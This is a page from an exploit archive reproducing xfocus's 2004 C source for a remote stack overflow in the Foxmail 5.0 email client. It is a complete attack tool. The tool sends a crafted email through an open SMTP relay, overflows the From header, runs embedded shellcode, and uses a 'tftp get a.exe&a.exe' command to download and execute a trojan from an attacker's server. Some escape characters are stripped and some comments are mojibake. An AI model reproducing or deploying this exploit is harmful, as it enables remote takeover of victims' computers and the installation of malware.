[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Foxmail 5.0 PunyLib.dll Remote Stack Overflow Exploit
# Published : 2004-03-23
# Author : xfocus
# Previous Title : MS Windows ASN.1 Remote Exploit (MS04-007)
# Next Title : WS_FTP Server <= 4.0.2 ALLO Remote Buffer Overflow Exploit
/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
* -----------------------------------------------------------------------
* Author : xfocus <webmaster@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 0.2
*
* Test : Windows 2000 server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx <mail_addr> <tftp_server> <smtp_server>
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")
//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %srn" //buffer to overrun
"Subject: Hi,manrn"
"MIME-Version: 1.0rn"
"Content-Type: multipart/mixed; boundary="87122827"rn"
"rn"
"rn"
"--87122827rn"
"Content-Type: text/plain; charset=us-asciirn"
"Content-Transfer-Encoding: 7bitrn"
"rn"
"Trn"
"rn"
"--87122827rn"
"Content-Disposition: attachmentrn"
"Content-Type: Text/HTML;rn"
" name="girl.htm"rn"
"Content-Transfer-Encoding: 7bitrn"
"rn"
"<html></html>rn"
"--87122827--rn"
"rn"
".rn";
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
"x83xecx50xebx0cxb9x41x10xd3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff";
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
"x83xecx50xebx0cxb9x41x10xa3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff";
#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);
int main(int argc, char * argv[])
{
WSADATA WSAData;
char *mailaddr = NULL;
char *tftp = NULL;
char *smtpserver = NULL;
if(argc!=4)
{
printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1n", argv[0], argv[0]);
return 1;
}
mailaddr=argv[1];
tftp=argv[2];
smtpserver=argv[3];
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.n");
WSACleanup();
exit(1);
}
//WinExec() address
SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
WSACleanup();
return 0;
}
// ?¨á￠TCPá??ó
// ê?è?:
// char * address IPμ??·
// int port ???ú
// int timeout ?óê±
// ê?3?:
// ·μ??:
// 3é1| >0
// ′í?ó <=0
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
SOCKET csock;
int ret,i=0;
char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
csock = Make_Connection(smtpserver, SMTPPORT, 10);
if(csock<0)
{
printf("connect err.n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.n");
exit(1);
}
printf(buf);
ret=send(csock, "HELO serverrn",strlen("HELO serverrn"), 0);
if(ret<=0)
{
printf("send err.n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.n");
exit(1);
}
printf(buf);
ret=send(csock, "MAIL FROM: info@sina.comrn",strlen("MAIL FROM: info@sina.comrn"), 0);
if(ret<=0)
{
printf("send err.n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.n");
exit(1);
}
printf(buf);
sprintf(tmp, "RCPT TO: %srn", mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
printf("send err.n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.n");
exit(1);
}
printf(buf);
Sleep(1000);
ret=send(csock, "DATArn",strlen("DATArn"), 0);
if(ret<=0)
{
printf("send err.n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.n");
exit(1);
}
printf(buf);
printf("send exploit mail...n");
memset(sbuf, 0, sizeof(sbuf));
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int *)(buf+0x104)=0x80eb80eb; //jmp back
*(int *)(buf+0x108)=0x7ffdf220; //writeable addr
*(int *)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, "girlx0d", 5);
sprintf(sbuf, (char *)packet, buf);
ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
printf("send err.n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.n");
exit(1);
}
printf(buf);
printf("exploit mail sent.n");
closesocket(csock);
return 0;
}
// www.Syue.com [2004-03-23]